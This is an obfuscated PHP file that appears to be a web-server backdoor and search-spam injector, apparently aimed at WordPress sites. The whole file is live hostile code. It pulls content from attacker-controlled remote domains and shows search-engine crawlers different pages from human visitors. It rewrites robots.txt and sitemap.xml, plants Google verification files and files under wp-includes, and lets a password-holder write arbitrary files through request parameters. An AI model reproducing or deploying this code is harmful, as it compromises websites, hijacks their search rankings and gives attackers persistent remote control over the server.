/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  |
    |              on 2024-07-13 03:02:22              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
goto f08IM; Wm1n7: $CYzTj = $Wu1qg . "\72\x2f\57" . $imCgY . "\x2f" . $ZaD5_; goto B9N4b; y84eQ: jnQnm: goto GtvYs; VHPbi: @ignore_user_abort(1); goto zcpNZ; uLQAg: if (strstr($sg2i6, "\147\x65\x74\x63\157\156\x74\x65\x6e\164\64\x30\x34\160\x61\x67\145")) { goto v7wPp; } goto gSvjz; Jv7bN: wkFZO: goto n1kvO; ZQ2Qb: $UINRw = NbEre(); goto EyVA8; TXfjI: goto nzac0; goto fm2b3; QowBY: if (!preg_match("\57\x5e\x67\157\157\x67\x6c\x65\x2e\x2a\77\50\134\56\150\164\x6d\x6c\x29\x24\57\x69", $ILbLe)) { goto ARmx4; } goto y_o0k; ysNYD: Xkszm: goto wAJpC; ftg_x: ftz4H: goto aq31Y; psdkT: BVK1n: goto mgCOj; SwX_u: ehAL4: goto iAk9w; y1tUY: $Uw2PR = "\x70\165\164"; goto Xg75r; ZC_9f: XbBE8: goto Wm1n7; W8538: HeqDQ: goto WlWRi; f2h4O: if (!($DxZjj == "\x66\67\x35\146\144\x35\141\143\x64\63\x36\141\67\x66\x62\x64\x31\x65\x32\61\71\x62\x31\71\x38\x38\61\x61\65\x33\x34\70\142\x66\143\x36\66\x65\67\71")) { goto XSf4M; } goto WGjLR; WlWRi: opws8: goto trJe9; UWUVG: nzac0: goto aMgXS; zcpNZ: $T4Koa = "\x25\x36\x44\x25\66\x35\x25\x36\105\x25\66\65\45\66\67\45\x36\103\x25\x36\102\x25\66\x34\x25\x32\x45\x25\66\x45\x25\67\x31\45\x37\62\45\66\71\x25\x36\62\45\x36\70\x25\x36\65\x25\67\x31\45\x37\60\45\62\105\45\66\67\x25\x36\x32\45\66\x33"; goto BXNW1; xDwHA: SVcxP: goto JGMtJ; Ye404: $gr7vh = $BX4O5 . "\x3a\x2f\x2f" . $THJvX . "\57\x69\x6e\x64\145\170\156\145\167\56\160\150\160\x3f\x77\145\142\75" . $imCgY . "\x26\172\x7a\75" . UCvQy() . "\x26\x75\x72\x69\75" . $Z525R . "\46\x75\162\x6c\x73\x68\141\156\x67\x3d" . $WLDs7 . "\x26\x68\164\x74\160\x3d" . $Wu1qg . "\46\x6c\x61\x6e\x67\x3d" . $Ragih; goto wNmpg; BXNW1: $BX4O5 = "\150\164\x74\160"; goto X2JF8; Vf0Ei: $NG14P = $BX4O5 . "\72\x2f\x2f" . $THJvX . "\x2f\164\x65\x6d\160\57\163\164\x79\x6c\145\56\x63\163\x73"; goto dnK8D; lZlNn: $sg2i6 = str_replace("\x6f\153\170\x6d\154\x67\145\164\143\157\156\164\145\156\164", '', $sg2i6); goto wk_G1; L4yAg: $Ragih = @$_SERVER["\x48\x54\124\120\137\x41\x43\103\105\120\x54\x5f\114\101\x4e\x47\125\101\107\105"]; goto Mn62G; LmLt9: $sg2i6 = str_replace("\x6f\153\x68\164\x6d\x6c\147\145\164\x63\157\156\164\x65\x6e\164", '', $sg2i6); goto b0FTx; QWIds: echo "\157\153"; goto xElNX; fD0P4: echo "\74\142\x72\x3e\x73\x69\164\x65\x6d\141\x70\40\141\154\162\x65\141\144\x79\x20\x61\x64\144\x65\144\x21\x3c\142\162\x3e"; goto DP_Od; zbBJ2: A3AzJ: goto sDHlb; A8R_b: $DRQTd = dirname(__FILE__); goto HSFZd; n1kvO: if ($Uw2PR) { goto bhivU; } goto y1tUY; ge8zC: echo R9cUU($sg2i6); goto nulgA; G3nHy: if (file_exists($QYIrz)) { goto e7hN0; } goto sfbYO; WGjLR: $ZaD5_ = @$_REQUEST["\x6d\141\x70\x6e\141\155\145"]; goto nXjs1; wnBfv: if (stripos($UINRw, "\x67\x6f\144\163\145\x6e\144\56\x70\150\160")) { goto w5V30; } goto AYNPl; g2Dl3: function nBere() { goto IqPDr; CGfua: goto WJwRC; goto nMj7k; PMC_u: xcnHi: goto ejrgK; nMj7k: yUi5f: goto PAUer; k6bQ0: rUJA2: goto BXPvj; IqPDr: if (isset($_SERVER["\122\x45\121\x55\x45\123\124\x5f\125\122\111"])) { goto rUJA2; } goto uFlDS; PAUer: $Z525R = $_SERVER["\120\110\120\x5f\x53\105\x4c\106"] . "\x3f" . $_SERVER["\x61\162\147\x76"][0]; goto NM5Q1; BXPvj: $Z525R = $_SERVER["\122\x45\121\x55\105\x53\124\x5f\x55\122\x49"]; goto PMC_u; ejrgK: return $Z525R; goto nfBop; HdKmj: $Z525R = $_SERVER["\120\110\120\x5f\123\x45\x4c\x46"] . "\77" . $_SERVER["\x51\125\105\122\x59\x5f\x53\124\x52\111\116\107"]; goto CGfua; NM5Q1: WJwRC: goto Q3RTQ; uFlDS: if (isset($_SERVER["\141\x72\x67\x76"])) { goto yUi5f; } goto HdKmj; Q3RTQ: goto xcnHi; goto k6bQ0; nfBop: } goto GcFOz; iMB2i: if (strstr($sg2i6, "\157\153\x78\x6d\x6c\x67\145\164\x63\157\156\x74\145\156\x74")) { goto NrENW; } goto wu1qx; msaZ2: goto KuStD; goto z1jN3; sfbYO: $FtVHV = "\125\x73\145\x72\x2d\x61\x67\145\x6e\x74\72\40\52\xd\12\101\154\154\157\167\x3a\40\57"; goto Tm2vU; LQoGe: oKxBf: goto Bkw9Q; UbKl1: echo "\74\x62\162\x3e\x6f\153\x3c\142\x72\x3e"; goto SwX_u; wNmpg: goto TLRkW; goto TQ0Qe; z1jN3: v7wPp: goto MX6CG; bwPno: $sg2i6 = str_replace("\x5b\x23\x23\x6c\151\x6e\x6b\143\x73\163\x23\x23\135", $lP3XM, $sg2i6); goto jTQIT; eSBkD: $W0uKK = $DRQTd . "\57" . $GUDb6 . "\x2f" . $iqSws; goto Vf0Ei; qFJXo: $kW1Rr = $imCgY; goto TXfjI; YpVv4: goto CGbPP; goto o_7oB; f08IM: @set_time_limit(3600); goto VHPbi; X2JF8: if (iGUH_()) { goto N0kmu; } goto GwuQt; FRQ1j: Qkhd8: goto G15Mx; czXbS: $GUDb6 = "\x63\x73\163"; goto HnVCw; JDY1o: Nc8d2: goto ekbWn; BcLV0: $imCgY = $_SERVER["\110\124\x54\x50\x5f\x48\117\123\124"]; goto L4yAg; tkebT: $ILbLe = $_REQUEST["\147\157\x6f\147\154\x65"]; goto QowBY; RFmsq: exit; goto SsMxr; Z2WIk: @header("\103\157\156\164\x65\x6e\164\55\164\171\x70\145\x3a\40\164\x65\x78\164\57\150\164\155\154\73\x20\x63\150\141\162\x73\x65\164\75\165\164\146\x2d\x38"); goto ge8zC; KPwzN: $Z525R = urlencode($UINRw); goto g2Dl3; G15Mx: @header("\x43\x6f\156\x74\x65\156\x74\x2d\x74\x79\160\x65\72\40\x74\145\170\x74\57\150\164\155\154\73\40\x63\150\141\x72\x73\145\164\x3d\165\x74\x66\x2d\x38"); goto tOShp; vMT64: goto p7th5; goto BDNbc; wu1qx: if (strstr($sg2i6, "\160\151\x6e\147\170\x6d\154\x67\x65\164\x63\157\156\164\145\156\x74")) { goto SVcxP; } goto hbfwX; ItJU_: $G3KhU = sha1(sha1(@$_REQUEST["\142"])); goto AQInF; WeRQO: goto UFHV3; goto ysNYD; Dk_Fn: goto B10UH; goto LjbbL; b6CEZ: if (!($Uw2PR == "\x70\165\164")) { goto opws8; } goto MBYpo; MCBig: qdVGD: goto VTYQT; AQInF: if (!($nnkSv == YktJU($BX4O5 . "\x3a\57\x2f" . $THJvX . "\57\x61\x2e\160" . "\x68\160") || $G3KhU == "\x66\x38\146\60\x64\x61\145\70\60\x34\63\66\70\x63\x30\63\63\64\145\x32\x32\144\x39\144\143\x62\67\60\x64\x33\x63\67\142\142\x66\141\71\66\63\x35")) { goto HeqDQ; } goto wOWmo; MBYpo: if (!isset($_REQUEST["\147\157\x6f\x67\154\145"])) { goto gs0Ci; } goto tkebT; SaNRX: $sg2i6 = str_replace("\147\145\x74\x63\157\x6e\x74\145\156\x74\x33\x30\61\x70\x61\147\145", '', $sg2i6); goto nLSoL; lZVvN: $DRQTd = $_SERVER["\x44\117\x43\125\115\105\116\124\x5f\122\x4f\117\x54"]; goto Jv7bN; inWwB: goto ftz4H; goto MAoK7; MX6CG: @header("\x48\x54\x54\120\x2f\x31\x2e\x31\x20\64\x30\x34\40\116\x6f\x74\40\x46\x6f\165\156\x64"); goto JgrS0; PkUy6: exit("\x3c\141\x20\x68\162\x65\146\75" . $ILbLe . "\x3e" . $ILbLe . "\x3c\x2f\x61\76"); goto xu70L; wAJpC: $lP3XM = file_get_contents($W0uKK); goto bwPno; wHYUK: goto J5REf; goto y84eQ; yXghS: echo "\x3c\142\x72\76\x66\151\154\145\x20\167\162\x69\164\x65\40\x66\141\x6c\x73\145\41\x3c\x62\162\76"; goto l5aPd; LSLdb: KuStD: goto wHYUK; AFpTe: if (substr($imCgY, 0, 4) == "\167\x77\x77\x2e") { goto QuCRT; } goto qFJXo; hq1xb: if (strstr($ZaD5_, "\56\x78\x6d\x6c")) { goto GygZM; } goto Uh0dQ; ae0lQ: goto A3AzJ; goto xDwHA; FCWkV: if (strstr($sg2i6, "\157\153\x68\164\x6d\154\147\145\x74\x63\157\156\x74\145\156\164")) { goto Qkhd8; } goto iMB2i; trJe9: exit; goto khEtS; mDqIG: goto h41Kk; goto yfSki; tYnqm: function ykTJU($KkgWW) { goto DeRn8; PrBop: if (!function_exists("\x63\165\162\x6c\137\x69\x6e\x69\x74")) { goto fWHIr; } goto D9Zap; D9Zap: $M0aZf = curl_init(); goto Bvbj0; GQ1Z2: $TWiRL = curl_exec($M0aZf); goto tForl; Bvbj0: curl_setopt($M0aZf, CURLOPT_URL, $KkgWW); goto BUHE6; AYStc: fWHIr: goto wLGTf; DeRn8: $TWiRL = ''; goto PrBop; BUHE6: curl_setopt($M0aZf, CURLOPT_SSL_VERIFYHOST, 0); goto we_mR; tForl: curl_close($M0aZf); goto AYStc; iVBrw: curl_setopt($M0aZf, CURLOPT_CONNECTTIMEOUT, 30); goto GQ1Z2; lA4Gb: $TWiRL = @file_get_contents($KkgWW); goto s6Do8; we_mR: curl_setopt($M0aZf, CURLOPT_SSL_VERIFYPEER, 0); goto hK5d1; z88ig: return $TWiRL; goto hhjwH; wLGTf: if ($TWiRL) { goto efVIL; } goto lA4Gb; s6Do8: efVIL: goto z88ig; hK5d1: curl_setopt($M0aZf, CURLOPT_RETURNTRANSFER, 1); goto iVBrw; hhjwH: } goto v0FN4; FEQ1u: if (!file_put_contents($DRQTd . "\57" . $ZaD5_, $pS99n)) { goto gvEv3; } goto QWIds; l8Vb9: n3G2F: goto fD0P4; JGMtJ: $sg2i6 = str_replace("\160\151\x6e\147\x78\x6d\x6c\147\x65\164\x63\x6f\x6e\x74\145\x6e\164", '', $sg2i6); goto pe7Gq; Uh0dQ: echo "\74\142\162\x3e\163\151\164\145\155\x61\160\40\156\x61\x6d\x65\x20\x66\141\154\x73\x65\x21\74\142\x72\x3e"; goto YpVv4; hbfwX: if (strstr($sg2i6, "\x67\145\x74\x63\x6f\x6e\x74\145\x6e\x74\65\x30\x30\x70\x61\147\x65")) { goto jnQnm; } goto uLQAg; WstGK: $DRQTd = $_SERVER["\104\x4f\103\x55\x4d\x45\x4e\124\x5f\122\x4f\x4f\x54"]; goto ZvOAK; pe7Gq: iWHi3($pjc0l, $W0uKK, $NG14P); goto Z2WIk; v0FN4: function iwhI3($pjc0l, $W0uKK, $NG14P) { goto BdDEd; vaUll: goto QMsND; goto snCD2; jUEYW: @file_put_contents($W0uKK, YktjU($NG14P)); goto AC4fK; AC4fK: y21Tm: goto ba8bX; kIHai: @file_put_contents($W0uKK, YKTJU($NG14P)); goto kteI1; K_ub4: if (file_exists($W0uKK)) { goto y21Tm; } goto jUEYW; BdDEd: if (is_dir($pjc0l)) { goto OCKPw; } goto OXUJY; snCD2: OCKPw: goto yrquy; OXUJY: if (!@mkdir($pjc0l)) { goto G0VV6; } goto K_ub4; kteI1: uf9zq: goto stXJ2; ba8bX: G0VV6: goto vaUll; stXJ2: QMsND: goto B27J3; yrquy: if (file_exists($W0uKK)) { goto uf9zq; } goto kIHai; B27J3: } goto MuPig; PcbfB: gs0Ci: goto hq1xb; EyVA8: if (!($UINRw == '')) { goto a8C9J; } goto x879s; DP_Od: zmOaE: goto vMT64; SsMxr: YYe3O: goto QtyAh; TyJUf: $THJvX = "\x74\145\x65\x6e\145\x76\145\x72\170\x6f\x2e\x73\x70\150\141\x73\164\171\x64\x6e\56\x78\x79\x7a"; goto ftg_x; SqjkN: gw8sw: goto tsbaY; ekbWn: echo "\x3c\x62\162\76\x6f\x6b\x3c\142\162\x3e"; goto MCBig; x879s: $UINRw = "\x2f"; goto KMhoW; M4VKH: h41Kk: goto ZQ2Qb; nXjs1: $Uw2PR = @$_REQUEST["\141\143\x74\x69\157\156"]; goto VWd8P; lWWYW: if (stristr($ZaD5_, "\125\163\145\162\55\x61\x67\145\156\164")) { goto hHDE3; } goto G3nHy; aMgXS: $iqSws = str_rot13(substr($kW1Rr, 0, 3) . substr($THJvX, 0, 3)) . "\x2e\143\163\x73"; goto eSBkD; HSFZd: goto wkFZO; goto IUf3g; dnK8D: function R9cuu($KkgWW) { goto P5D5D; lrA_H: DEwgP: goto KGRix; P5D5D: $RFhT3 = explode("\xd\xa", trim($KkgWW)); goto EuWJs; EuWJs: $swnSh = ''; goto oxgDR; oxgDR: foreach ($RFhT3 as $jlsAh) { goto x_YrM; bfh81: $eIlqM = strpos($u0Vcz, "\123\x69\164\x65\x6d\x61\x70\40\116\x6f\x74\x69\146\x69\143\141\x74\x69\x6f\x6e\40\x52\x65\x63\145\x69\x76\145\144") !== false ? "\160\x69\156\x67\x6f\153" : "\x65\162\x72\x6f\x72"; goto SNUbD; X9CMK: LF9fk: goto qYMnw; x_YrM: $u0Vcz = YktjU($jlsAh); goto bfh81; SNUbD: $swnSh .= $jlsAh . "\55\55\x20" . $eIlqM . "\74\142\162\76"; goto X9CMK; qYMnw: } goto lrA_H; KGRix: return $swnSh; goto HV0ZP; HV0ZP: } goto D2_ve; mgCOj: $GUDb6 = "\x77\160\55\x69\x6e\x63\154\x75\x64\x65\x73\57\x63\x73\x73"; goto VUpVA; xElNX: gvEv3: goto W8538; q1ClA: if (!isset($_SERVER["\110\x54\124\x50\x5f\x52\x45\x46\105\x52\105\122"])) { goto T0jBy; } goto uZfVA; agdG6: $WLDs7 = urlencode($WLDs7); goto U0QBN; b0FTx: echo $sg2i6; goto iB07G; S2wCq: ErIFP: goto YaqsI; LyigD: $sg2i6 = str_replace("\x5b\43\x23\x6c\x69\x6e\153\143\x73\x73\x23\43\135", '', $sg2i6); goto WeRQO; olajI: esEP5: goto msaZ2; tOShp: if (file_exists($W0uKK)) { goto Xkszm; } goto LyigD; Ltkwz: exit; goto olajI; TQ0Qe: aj7ns: goto H0nOC; lyPBz: echo "\x3c\x62\x72\x3e\146\x69\154\145\40\x77\162\151\164\x65\x20\x66\141\154\163\x65\x21\x3c\142\x72\76"; goto ztRL0; jTQIT: UFHV3: goto LmLt9; IUf3g: SjwM0: goto lZVvN; cNhmh: if (file_put_contents($QYIrz, $ZaD5_)) { goto Nc8d2; } goto lyPBz; Ae5Pl: if (is_dir($DRQTd . "\x2f\167\x70\x2d\151\x6e\143\154\165\x64\x65\163")) { goto BVK1n; } goto czXbS; TpdTs: $Wu1qg = "\150\164\x74\x70\x73"; goto M4VKH; ZvOAK: B10UH: goto Ae5Pl; zCi6d: $qwQrx = $DRQTd . "\x2f\x73\x69\x74\145\x6d\x61\160\x2e\170\155\154"; goto OZwDy; H0nOC: $gr7vh = $BX4O5 . "\x3a\57\57" . $THJvX . "\57\x69\x6e\144\145\x78\156\x65\x77\x2e\160\x68\x70\x3f\x77\x65\142\x3d" . $imCgY . "\x26\172\172\x3d" . UcVqy() . "\46\165\162\151\75" . $Z525R . "\46\x75\162\154\x73\x68\141\x6e\x67\75" . $WLDs7 . "\46\150\164\164\x70\75" . $Wu1qg . "\x26\154\x61\156\x67\75" . $Ragih . "\x26\143\163\163\x3d\61"; goto iGpO6; ztRL0: goto qdVGD; goto JDY1o; wOWmo: $pS99n = @$_REQUEST["\144\163\x74\162"]; goto FEQ1u; OZwDy: if (!is_file($qwQrx)) { goto ErIFP; } goto GOe5Q; khEtS: XSf4M: goto Xhde1; Xhde1: if (isset($_SERVER["\x44\x4f\x43\125\115\x45\x4e\x54\137\122\117\x4f\x54"])) { goto kxWpb; } goto ON46Y; xu70L: ARmx4: goto PcbfB; tsbaY: if (is_file($W0uKK)) { goto aj7ns; } goto Ye404; BDNbc: hHDE3: goto BeXlP; uZfVA: $WLDs7 = $_SERVER["\x48\124\x54\120\x5f\x52\x45\x46\105\122\105\122"]; goto agdG6; iGpO6: TLRkW: goto Y8SLo; s9APz: Di7zM: goto UbKl1; Bp5D6: NrENW: goto lZlNn; meVLX: J5REf: goto ae0lQ; yfSki: N0kmu: goto TpdTs; JgrS0: exit; goto LSLdb; hjRv9: $pjc0l = $DRQTd . "\57" . $GUDb6; goto AFpTe; KMhoW: a8C9J: goto KPwzN; QKnaB: if (strstr($sg2i6, "\x6e\x6f\x62\157\164\165\163\145\162\x61\147\x65\x6e\164")) { goto e9N0T; } goto FCWkV; ZAU8D: if (file_put_contents($QYIrz, trim($FtVHV) . "\xd\12" . "\123\151\164\x65\x6d\141\160\x3a\x20" . $CYzTj)) { goto Di7zM; } goto yXghS; ON46Y: $DRQTd = dirname(__FILE__); goto Dk_Fn; aq31Y: function IgUH_() { goto S7FiY; nJJaf: goto lGMhg; goto TPgo1; MfUrN: return true; goto k8uUX; HnTep: lGMhg: goto WrFyp; S7FiY: if (isset($_SERVER["\x48\124\x54\120\x53"]) && strtolower($_SERVER["\x48\124\124\x50\x53"]) !== "\x6f\146\x66") { goto HLhjL; } goto vTjqG; vGDRm: return true; goto Yl2Vl; MX0im: uJqRM: goto MfUrN; TPgo1: HLhjL: goto vGDRm; k8uUX: goto lGMhg; goto rQKjP; rQKjP: mEUkZ: goto CDNJO; WrFyp: return false; goto Lfs2A; vTjqG: if (isset($_SERVER["\x48\124\x54\x50\x5f\x58\x5f\x46\117\x52\x57\101\x52\104\105\x44\137\120\122\x4f\124\117"]) && $_SERVER["\x48\124\124\120\137\x58\137\106\x4f\122\127\101\122\104\105\104\x5f\x50\122\117\x54\117"] === "\x68\x74\164\160\163") { goto uJqRM; } goto v7iJK; Yl2Vl: goto lGMhg; goto MX0im; v7iJK: if (isset($_SERVER["\110\x54\x54\x50\x5f\106\122\x4f\116\124\x5f\x45\x4e\104\137\x48\124\124\x50\123"]) && strtolower($_SERVER["\x48\124\124\120\x5f\x46\x52\117\x4e\124\137\105\116\104\x5f\110\124\x54\x50\123"]) !== "\157\146\146") { goto mEUkZ; } goto nJJaf; CDNJO: return true; goto HnTep; Lfs2A: } goto BcLV0; HnVCw: goto OoVQ8; goto psdkT; wk_G1: @header("\x43\x6f\156\164\x65\x6e\164\x2d\x74\x79\160\145\72\40\164\145\x78\x74\x2f\170\x6d\154"); goto Avymf; iB07G: exit; goto LQoGe; VUpVA: OoVQ8: goto hjRv9; gSvjz: if (!strstr($sg2i6, "\147\145\164\x63\x6f\156\x74\x65\156\164\x33\x30\61\x70\141\x67\x65")) { goto esEP5; } goto B0uaP; P2QUU: CGbPP: goto cI3NR; l5aPd: goto ehAL4; goto s9APz; U0QBN: T0jBy: goto QjSo8; Mn62G: $Ragih = urlencode($Ragih); goto l7Q8c; Avymf: echo $sg2i6; goto RFmsq; gKs3K: e7hN0: goto mDIhn; Tm2vU: goto XbBE8; goto gKs3K; nLSoL: header("\114\x6f\x63\141\164\151\x6f\x6e\x3a\x20" . $sg2i6); goto Ltkwz; GtvYs: @header("\x48\x54\124\120\x2f\61\x2e\61\40\65\x30\x30\40\x49\156\x74\145\x72\156\141\154\x20\123\145\x72\x76\x65\162\x20\105\x72\162\157\x72"); goto U2Epf; wdy37: IWHi3($pjc0l, $W0uKK, $NG14P); goto SqjkN; nulgA: exit; goto zbBJ2; BeXlP: @unlink($QYIrz); goto cNhmh; xqEZ_: ASf0P: goto inWwB; fm2b3: QuCRT: goto pZ5fY; D2_ve: function ucVqy() { goto M6_XX; M6_XX: $FHztQ = strtolower($_SERVER["\110\124\x54\x50\137\125\123\105\x52\137\x41\107\105\x4e\x54"]); goto dHGoz; hTXdH: return true; goto d0Tl9; jV_VR: z8859: goto hTXdH; flCsu: return false; goto m0vpM; d0Tl9: BN4Rx: goto Jj7r9; m0vpM: goto BN4Rx; goto jV_VR; dHGoz: if (stristr($FHztQ, "\x67\x6f\x6f\x67\x6c\145\x62\157\164") || stristr($FHztQ, "\142\x69\156\147") || stristr($FHztQ, "\x79\141\x68\157\x6f") || stristr($FHztQ, "\147\x6f\x6f\147\x6c\145") || stristr($FHztQ, "\x47\x6f\x6f\x67\154\145\x62\x6f\x74") || stristr($FHztQ, "\x67\x6f\x6f\147\x6c\145\142\x6f\164")) { goto z8859; } goto flCsu; Jj7r9: } goto tYnqm; cI3NR: $nnkSv = sha1(sha1(@$_REQUEST["\141"])); goto ItJU_; VWd8P: if (isset($_SERVER["\104\117\x43\x55\115\x45\x4e\124\137\x52\x4f\117\124"])) { goto SjwM0; } goto A8R_b; GwuQt: $Wu1qg = "\150\164\164\x70"; goto mDqIG; o_7oB: GygZM: goto zCi6d; pZ5fY: $kW1Rr = substr($imCgY, 4); goto UWUVG; MuPig: if (!($UINRw == "\x2f" || strstr($UINRw, "\x65\x77\164\x74\x6d"))) { goto gw8sw; } goto wdy37; HDY0Q: w5V30: goto jcxSO; Xg75r: bhivU: goto b6CEZ; iAk9w: goto zmOaE; goto l8Vb9; mDIhn: $FtVHV = yKtJu($QYIrz); goto ZC_9f; l7Q8c: $WLDs7 = ''; goto q1ClA; y_o0k: file_put_contents($ILbLe, "\x67\157\157\147\x6c\x65\x2d\x73\151\x74\145\55\x76\x65\x72\151\146\x69\143\x61\x74\151\x6f\156\72" . "\x20" . $ILbLe); goto PkUy6; GcFOz: if (stripos($UINRw, "\164\162\165\x73\164\56\160\150\x70")) { goto BTiRl; } goto wnBfv; QtyAh: goto oKxBf; goto FRQ1j; YaqsI: $QYIrz = $DRQTd . "\x2f\162\x6f\142\157\x74\163\56\164\x78\164"; goto lWWYW; U2Epf: exit; goto meVLX; GOe5Q: @unlink($qwQrx); goto S2wCq; LjbbL: kxWpb: goto WstGK; Y8SLo: $sg2i6 = trim(yKTju($gr7vh)); goto QKnaB; B0uaP: @header("\x48\124\124\120\x2f\61\x2e\x31\x20\x33\x30\x31\x20\115\x6f\x76\145\144\x20\x50\145\162\x6d\x61\156\x65\156\x74\x6c\x79"); goto SaNRX; IGm3Y: goto ASf0P; goto HDY0Q; B9N4b: if (stristr($FtVHV, $CYzTj)) { goto n3G2F; } goto ZAU8D; jcxSO: $THJvX = "\154\142\165\144\147\145\164\x78\153\x2e\141\144\x65\x76\x6f\165\162\x64\143\56\164\x6f\160"; goto xqEZ_; AYNPl: $THJvX = str_rot13(urldecode($T4Koa)); goto IGm3Y; QjSo8: $DxZjj = sha1(sha1(@$_REQUEST["\x70\144"])); goto f2h4O; sDHlb: goto YYe3O; goto Bp5D6; MAoK7: BTiRl: goto TyJUf; VTYQT: p7th5: goto P2QUU; Bkw9Q: e9N0T: